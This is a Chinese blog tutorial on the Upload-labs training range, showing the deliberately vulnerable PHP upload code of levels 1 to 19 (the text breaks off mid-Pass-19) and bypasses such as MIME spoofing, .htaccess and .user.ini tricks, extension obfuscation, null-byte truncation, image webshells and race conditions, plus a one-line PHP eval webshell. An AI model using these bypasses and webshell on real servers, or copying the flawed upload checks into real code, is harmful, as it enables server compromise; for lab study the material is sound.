devbox
从前慢现在也慢
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

Upload-labs（1-21关详细教程）【简单易懂】【万字教程】

作者：从前慢现在也慢 | 2024-07-03 07:35:51

赞

踩

uploadlabs教程详解kali

目录

思维导图

练习网站：

注意：

知识点

Pass-01

代码：

提示：

解题思路：

Pass-02

知识点：

代码：

提示： 

解题思路：

Pass-03(本关需要使用自己搭建upload-labs)

代码：

提示：

解题思路：

Pass-04

代码：

提示：

解题思路：

Pass-05(建议使用本机搭建的Upload-labs)

代码：

提示：

解题思路：

先上传.user.ini

再上传phpinfo.jpg

查看readme.php文件

Pass-06

代码：

提示：

解题思路：

Pass-07

代码：

提示：

解题思路：

Pass-08

代码：

提示：

解题思路：

Pass-09

代码：

提示：

解题思路：

Pass-10 

代码：

 提示：

解题思路：

Pass-11

代码：

提示：

解题思路：

Pass-12

代码：

 提示：

解题思路：

Pass-13

代码：

提示：

解题思路：

Pass-14

代码：

提示： 

解题思路：

Pass-15-17

代码：

提示：

解题思路：

Pass-18

代码：

提示：

解题思路：

Pass-19

代码：

提示：

解题思路：

Pass-20

代码：

提示：

Pass-21

代码：

提示：

解题思路：

思维导图

思维导图分享

链接：https://pan.baidu.com/s/1N4mvnQhawhYKRHNwJDEAMw 
提取码：iu9g 

练习网站：

upload-labs(旧靶场20关)1-2关使用了旧靶场

upload-labs(新靶场21关)3-21关使用了新靶场

​

注意：

能运行<?php phpinfo();?>

就能运行<?php eval($_POST['cmd'])?>一句话木马

本文使用<?php phpinfo();?>主要是为了简便

知识点

$_FILES[表单提交过来的name]

[name]:获取到的文件名

[type]: 获取到的文件类型(MIMETYPE)

[tmp_name]:文件临时存放的路径

[error]: 上传文件报错信息(为空则上传成功)

[size]:上传文件的大小

Move_uploaded_file(需要移动的文件,要移动到的位置)

Strrchr(指定字符串,匹配的字符) --指针指到指定的字符的位置，取之后的值

Trim() --去除字符串中的前后空格

Rtrim() --去除右空格

Ltrim() --去除左空格

Strtolower() --将字符串转为小写

Str_ireplace --(被转换的字符串，替换成的字符串，需要查找的字符串)

在需要查找的字符串中查找需要被替换的字符串，替换为指定的字符串

Pass-01

代码：

  1. function checkFile() {
  2.     var file = document.getElementsByName('upload_file')[0].value;
  3.     if (file == null || file == "") {
  4.         alert("请选择要上传的文件!");
  5.         return false;
  6.     }
  7.     //定义允许上传的文件类型
  8.     var allow_ext = ".jpg|.png|.gif";
  9.     //提取上传文件的类型
  10.     var ext_name = file.substring(file.lastIndexOf("."));
  11.     //判断上传文件类型是否允许上传
  12.     if (allow_ext.indexOf(ext_name + "|") == -1) {
  13.         var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
  14.         alert(errMsg);
  15.         return false;
  16.     }
  17. }

提示：

本pass在客户端使用js对不合法图片进行检查！

解题思路：

安装插件disable javascript

​

编写一句话木马文件shell.php

​

根据提示关闭js上传文件，查看上传文件是否成功

​

使用蚁剑通过密码连接

​

​

Pass-02

知识点：

MIME TYPE常见分类

​

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
  6.             $temp_file = $_FILES['upload_file']['tmp_name'];
  7.             $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
  8.             if (move_uploaded_file($temp_file, $img_path)) {
  9.                 $is_upload = true;
  10.             } else {
  11.                 $msg = '上传出错！';
  12.             }
  13.         } else {
  14.             $msg = '文件类型不正确，请重新上传！';
  15.         }
  16.     } else {
  17.         $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
  18.     }
  19. }

提示： 

本pass在服务端对数据包的MIME进行检查！

解题思路：

编写木马

​

上传PHP文件

绕过MIMETYPE

burpsuite抓包修改类型

​

forward释放数据包

​

打开图片链接

​

发现能够执行上传的php文件

​

Pass-03(本关需要使用自己搭建upload-labs)

upload-labs资源

链接：https://pan.baidu.com/s/1uOM7sSAFusLk-973SkZlCw 
提取码：ctyl 

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array('.asp','.aspx','.php','.jsp');
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         $file_ext = trim($file_ext); //收尾去空
  12.  
  13.         if(!in_array($file_ext, $deny_ext)) {
  14.             $temp_file = $_FILES['upload_file']['tmp_name'];
  15.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
  16.             if (move_uploaded_file($temp_file,$img_path)) {
  17.                  $is_upload = true;
  18.             } else {
  19.                 $msg = '上传出错！';
  20.             }
  21.         } else {
  22.             $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
  23.         }
  24.     } else {
  25.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  26.     }
  27. }

提示：

本pass禁止上传.asp|.aspx|.php|.jsp后缀文件！

解题思路：

httpd.conf文件下添加代码

AddType application/x-httpd-php .php .phtml .php3 .php4

该句代码的意思是将.php、.php3、.php4当作php文件

上传phpinfo.php4

打开图片链接

就能查看运行的PHP文件

Pass-04

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         $file_ext = trim($file_ext); //收尾去空
  12.  
  13.         if (!in_array($file_ext, $deny_ext)) {
  14.             $temp_file = $_FILES['upload_file']['tmp_name'];
  15.             $img_path = UPLOAD_PATH.'/'.$file_name;
  16.             if (move_uploaded_file($temp_file, $img_path)) {
  17.                 $is_upload = true;
  18.             } else {
  19.                 $msg = '上传出错！';
  20.             }
  21.         } else {
  22.             $msg = '此文件不允许上传!';
  23.         }
  24.     } else {
  25.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  26.     }
  27. }

提示：

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件！

解题思路：

上传.htaccess文件

将jpg文件当作php文件执行

  1. <FilesMatch 'phpinfo.jpg'>
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>

再上传phpinfo.jpg(是由phpinfo.php改后缀成phpinfo.jpg)

打开链接

Pass-05(建议使用本机搭建的Upload-labs)

upload-labs资源

链接：https://pan.baidu.com/s/1uOM7sSAFusLk-973SkZlCw 
提取码：ctyl 

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         $file_ext = trim($file_ext); //首尾去空
  12.         
  13.         if (!in_array($file_ext, $deny_ext)) {
  14.             $temp_file = $_FILES['upload_file']['tmp_name'];
  15.             $img_path = UPLOAD_PATH.'/'.$file_name;
  16.             if (move_uploaded_file($temp_file, $img_path)) {
  17.                 $is_upload = true;
  18.             } else {
  19.                 $msg = '上传出错！';
  20.             }
  21.         } else {
  22.             $msg = '此文件类型不允许上传！';
  23.         }
  24.     } else {
  25.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  26.     }
  27. }

提示：

上传目录存在php文件(readme.php)

解题思路：

先上传.user.ini

作用域是当前文件夹和当前文件夹中的子文件;包含指定的文件，显示在页面上

.user.ini内容

  1. Auto_prepend_file=phpinfo.jpg //在页面上部显示
  2.  
  3. Auto_prepend_file=phpinfo.jpg //在页面底部部显示

再上传phpinfo.jpg

查看readme.php文件

Pass-06

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  10.         $file_ext = trim($file_ext); //首尾去空
  11.  
  12.         if (!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  15.             if (move_uploaded_file($temp_file, $img_path)) {
  16.                 $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错！';
  19.             }
  20.         } else {
  21.             $msg = '此文件类型不允许上传！';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  25.     }
  26. }

提示：

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件！

解题思路：

经过与第五关对比我们发现没有过滤大小写

缺少代码

$file_ext = strtolower($file_ext); //转换为小写

所以我们修改上传文件后缀名phpinfo.Php

上传phpinfo.Php

右键打开链接

Pass-07

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  6.         $file_name = $_FILES['upload_file']['name'];
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         
  12.         if (!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  15.             if (move_uploaded_file($temp_file,$img_path)) {
  16.                 $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错！';
  19.             }
  20.         } else {
  21.             $msg = '此文件不允许上传';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  25.     }
  26. }

提示：

没有进行首尾去空

缺少代码

$file_ext = trim($file_ext); //首尾去空

我们可以进行空格绕过

解题思路：

上传phpinfo.php进行BP抓包

上传成功后右键打开链接

Pass-08

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_ext = strrchr($file_name, '.');
  8.         $file_ext = strtolower($file_ext); //转换为小写
  9.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  10.         $file_ext = trim($file_ext); //首尾去空
  11.         
  12.         if (!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.$file_name;
  15.             if (move_uploaded_file($temp_file, $img_path)) {
  16.                 $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错！';
  19.             }
  20.         } else {
  21.             $msg = '此文件类型不允许上传！';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  25.     }
  26. }

提示：

缺少代码

$file_name = deldot($file_name)

 没有删除文件名末尾后的点

所以进行点绕过

解题思路：

上传phpinfo.php文件进行BP抓包

上传成功后右键打开链接

Pass-09

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = trim($file_ext); //首尾去空
  11.         
  12.         if (!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  15.             if (move_uploaded_file($temp_file, $img_path)) {
  16.                 $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错！';
  19.             }
  20.         } else {
  21.             $msg = '此文件类型不允许上传！';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  25.     }
  26. }

提示：

缺少代码

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

上传后缀名添加::$DATA

::$DATA是一个流传输,可以把后面的数据当成流处理和.空格类似

解题思路：

上传phpinfo.php进行BP抓包，修改数据

右键打开链接

去掉URL中的::$DATA

Pass-10 

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         $file_ext = trim($file_ext); //首尾去空
  12.         
  13.         if (!in_array($file_ext, $deny_ext)) {
  14.             $temp_file = $_FILES['upload_file']['tmp_name'];
  15.             $img_path = UPLOAD_PATH.'/'.$file_name;
  16.             if (move_uploaded_file($temp_file, $img_path)) {
  17.                 $is_upload = true;
  18.             } else {
  19.                 $msg = '上传出错！';
  20.             }
  21.         } else {
  22.             $msg = '此文件类型不允许上传！';
  23.         }
  24.     } else {
  25.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  26.     }
  27. }

 提示：

deldot()函数从后向前检测，当检测到末尾的第一个点时会继续它的检测，但是遇到空格会停下来

解题思路：

上传phpinfo.php文件，BP抓包，修改数据

上传完文件邮件打开链接

Pass-11

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
  6.  
  7.         $file_name = trim($_FILES['upload_file']['name']);
  8.         $file_name = str_ireplace($deny_ext,"", $file_name);
  9.         $temp_file = $_FILES['upload_file']['tmp_name'];
  10.         $img_path = UPLOAD_PATH.'/'.$file_name;        
  11.         if (move_uploaded_file($temp_file, $img_path)) {
  12.             $is_upload = true;
  13.         } else {
  14.             $msg = '上传出错！';
  15.         }
  16.     } else {
  17.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  18.     }
  19. }

提示：

截取文件后缀名与上面禁用的后缀名匹配，如果想同，转化为空

所有利用双写后缀名绕过

解题思路：

上传phpinfo.pphphp文件

上传成功后右键打开链接

Pass-12

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if(isset($_POST['submit'])){
  4.     $ext_arr = array('jpg','png','gif');
  5.     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  6.     if(in_array($file_ext,$ext_arr)){
  7.         $temp_file = $_FILES['upload_file']['tmp_name'];
  8.         $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  9.  
  10.         if(move_uploaded_file($temp_file,$img_path)){
  11.             $is_upload = true;
  12.         } else {
  13.             $msg = '上传出错！';
  14.         }
  15.     } else{
  16.         $msg = "只允许上传.jpg|.png|.gif类型文件！";
  17.     }
  18. }

 提示：

在处理数据时，当处理到00，就当作处理完成

PHP版本小于5.3

Magic_quotes_gpc=Off

解题思路：

上传phpinfo.jpg文件，用BP抓包修改数据

上传成功后右键打开链接

Pass-13

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if(isset($_POST['submit'])){
  4.     $ext_arr = array('jpg','png','gif');
  5.     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  6.     if(in_array($file_ext,$ext_arr)){
  7.         $temp_file = $_FILES['upload_file']['tmp_name'];
  8.         $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  9.  
  10.         if(move_uploaded_file($temp_file,$img_path)){
  11.             $is_upload = true;
  12.         } else {
  13.             $msg = "上传失败";
  14.         }
  15.     } else {
  16.         $msg = "只允许上传.jpg|.png|.gif类型文件！";
  17.     }
  18. }

提示：

在处理数据时，当处理到00，就当作处理完成

PHP版本小于5.3

Magic_quotes_gpc=Off

解题思路：

上传phpinfo.jpg文件，用BP抓包修改数据

将空格(20)改成(00)进行截断

 上传成功后右键打开链接

Pass-14

代码：

  1. function getReailFileType($filename){
  2.     $file = fopen($filename, "rb");
  3.     $bin = fread($file, 2); //只读2字节
  4.     fclose($file);
  5.     $strInfo = @unpack("C2chars", $bin);    
  6.     $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
  7.     $fileType = '';    
  8.     switch($typeCode){      
  9.         case 255216:            
  10.             $fileType = 'jpg';
  11.             break;
  12.         case 13780:            
  13.             $fileType = 'png';
  14.             break;        
  15.         case 7173:            
  16.             $fileType = 'gif';
  17.             break;
  18.         default:            
  19.             $fileType = 'unknown';
  20.         }    
  21.         return $fileType;
  22. }
  23.  
  24. $is_upload = false;
  25. $msg = null;
  26. if(isset($_POST['submit'])){
  27.     $temp_file = $_FILES['upload_file']['tmp_name'];
  28.     $file_type = getReailFileType($temp_file);
  29.  
  30.     if($file_type == 'unknown'){
  31.         $msg = "文件未知，上传失败！";
  32.     }else{
  33.         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
  34.         if(move_uploaded_file($temp_file,$img_path)){
  35.             $is_upload = true;
  36.         } else {
  37.             $msg = "上传出错！";
  38.         }
  39.     }
  40. }

提示： 

Jpg格式图片的文件头标识：FFD8开头FFD9结尾

Png格式图片的文件头标识：89 20 4E 47 0D 0A

Gif格式图片的文件头标识：GIF89a GIF87a

本关存在文件包含漏洞，Incould可以将被包含的文件当PHP代码执行

解题思路：

上传phpinfo.gif，BP抓包修改数据

文件上传成功后右键打开链接

Pass-15-17

15-17关都可以利用文件包含漏洞，上传图片码

代码：

  1. function isImage($filename){
  2.     $types = '.jpeg|.png|.gif';
  3.     if(file_exists($filename)){
  4.         $info = getimagesize($filename);
  5.         $ext = image_type_to_extension($info[2]);
  6.         if(stripos($types,$ext)>=0){
  7.             return $ext;
  8.         }else{
  9.             return false;
  10.         }
  11.     }else{
  12.         return false;
  13.     }
  14. }
  15.  
  16. $is_upload = false;
  17. $msg = null;
  18. if(isset($_POST['submit'])){
  19.     $temp_file = $_FILES['upload_file']['tmp_name'];
  20.     $res = isImage($temp_file);
  21.     if(!$res){
  22.         $msg = "文件未知，上传失败！";
  23.     }else{
  24.         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
  25.         if(move_uploaded_file($temp_file,$img_path)){
  26.             $is_upload = true;
  27.         } else {
  28.             $msg = "上传出错！";
  29.         }
  30.     }
  31. }

提示：

利用文件包含漏洞上传图片码

解题思路：

制作图片码

上传生成的888.jpg图片码

上传成功后右键打开链接

Pass-18

代码：

  1. //index.php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit']))
  5. {
  6.     require_once("./myupload.php");
  7.     $imgFileName =time();
  8.     $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
  9.     $status_code = $u->upload(UPLOAD_PATH);
  10.     switch ($status_code) {
  11.         case 1:
  12.             $is_upload = true;
  13.             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
  14.             break;
  15.         case 2:
  16.             $msg = '文件已经被上传，但没有重命名。';
  17.             break; 
  18.         case -1:
  19.             $msg = '这个文件不能上传到服务器的临时文件存储目录。';
  20.             break; 
  21.         case -2:
  22.             $msg = '上传失败，上传目录不可写。';
  23.             break; 
  24.         case -3:
  25.             $msg = '上传失败，无法上传该类型文件。';
  26.             break; 
  27.         case -4:
  28.             $msg = '上传失败，上传的文件过大。';
  29.             break; 
  30.         case -5:
  31.             $msg = '上传失败，服务器已经存在相同名称文件。';
  32.             break; 
  33.         case -6:
  34.             $msg = '文件无法上传，文件不能复制到目标目录。';
  35.             break;      
  36.         default:
  37.             $msg = '未知错误！';
  38.             break;
  39.     }
  40. }
  41.  
  42. //myupload.php
  43. class MyUpload{
  44. ......
  45. ......
  46. ...... 
  47.   var $cls_arr_ext_accepted = array(
  48.       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
  49.       ".html", ".xml", ".tiff", ".jpeg", ".png" );
  50.  
  51. ......
  52. ......
  53. ......  
  54.   /** upload()
  55.    **
  56.    ** Method to upload the file.
  57.    ** This is the only method to call outside the class.
  58.    ** @para String name of directory we upload to
  59.    ** @returns void
  60.   **/
  61.   function upload( $dir ){
  62.     
  63.     $ret = $this->isUploadedFile();
  64.     
  65.     if( $ret != 1 ){
  66.       return $this->resultUpload( $ret );
  67.     }
  68.  
  69.     $ret = $this->setDir( $dir );
  70.     if( $ret != 1 ){
  71.       return $this->resultUpload( $ret );
  72.     }
  73.  
  74.     $ret = $this->checkExtension();
  75.     if( $ret != 1 ){
  76.       return $this->resultUpload( $ret );
  77.     }
  78.  
  79.     $ret = $this->checkSize();
  80.     if( $ret != 1 ){
  81.       return $this->resultUpload( $ret );    
  82.     }
  83.     
  84.     // if flag to check if the file exists is set to 1
  85.     
  86.     if( $this->cls_file_exists == 1 ){
  87.       
  88.       $ret = $this->checkFileExists();
  89.       if( $ret != 1 ){
  90.         return $this->resultUpload( $ret );    
  91.       }
  92.     }
  93.  
  94.     // if we are here, we are ready to move the file to destination
  95.  
  96.     $ret = $this->move();
  97.     if( $ret != 1 ){
  98.       return $this->resultUpload( $ret );    
  99.     }
  100.  
  101.     // check if we need to rename the file
  102.  
  103.     if( $this->cls_rename_file == 1 ){
  104.       $ret = $this->renameFile();
  105.       if( $ret != 1 ){
  106.         return $this->resultUpload( $ret );    
  107.       }
  108.     }
  109.     
  110.     // if we are here, everything worked as planned :)
  111.  
  112.     return $this->resultUpload( "SUCCESS" );
  113.   
  114.   }
  115. ......
  116. ......
  117. ...... 
  118. };

提示：

上传文件后会判断后缀名，如果相同会进行重命名。我们可以进行条件竞争

解题思路：

上传文件，进行BP爆破

出现上传的php文件但很快就消失了

Pass-19

代码：

  1. //index.php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit']))
  5. {
  6.     require_once("./myupload.php");
  7.     $imgFileName =time();
  8.     $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
  9.     $status_code = $u->upload(UPLOAD_PATH);
  10.     switch ($status_code) {
  11.         case 1:
  12.             $is_upload = true;
  13.             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
  14.             break;
  15.         case 2:
  16.             $msg = '文件已经被上传，但没有重命名。';
  17.             break; 
  18.         case -1:
  19.             $msg = '这个文件不能上传到服务器的临时文件存储目录。';
  20.             break; 
  21.         case -2:
  22.             $msg = '上传失败，上传目录不可写。';
  23.             break; 
  24.         case -3:
  25.             $msg = '上传失败，无法上传该类型文件。';
  26.             break; 
  27.         case -4:
  28.             $msg = '上传失败，上传的文件过大。';
  29.             break; 
  30.         case -5:
  31.             $msg = '上传失败，服务器已经存在相同名称文件。';
  32.             break; 
  33.         case -6:
  34.             $msg = '文件无法上传，文件不能复制到目标目录。';
  35.             break;      
  36.         default:
  37.             $msg = '未知错误！';
  38.             break;
  39.     }
  40. }
  41.  
  42. //myupload.php
  43. class MyUpload{
  44. ......
  45. ......
  46. ...... 
  47.   var $cls_arr_ext_accepted = array(
  48.       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
  49.       ".html", ".xml", ".tiff", ".jpeg", ".png" );
  50.  
  51. ......
  52. ......
  53. ......  
  54.   /** upload()
  55.    **
  56.    ** Method to upload the file.
  57.    ** This is the only method to call outside the class.
  58.    ** @para String name of directory we upload to
  59.    ** @returns void
  60.   **/
  61.   function upload( $dir ){
  62.     
  63.     $ret = $this->isUploadedFile();
  64.     
  65.     if( $ret != 1 ){
  66.       return $this->resultUpload( $ret );
  67.     }
  68.  
  69.     $ret = $this->setDir( $dir );
  70.     if( $ret != 1 ){
  71.       return $this->resultUpload( $ret );
  72.     }
  73.  
  74.     $ret = $this->checkExtension();
  75.     if( $ret != 1 ){
  76.       return $this->resultUpload( $ret );
  77.     }
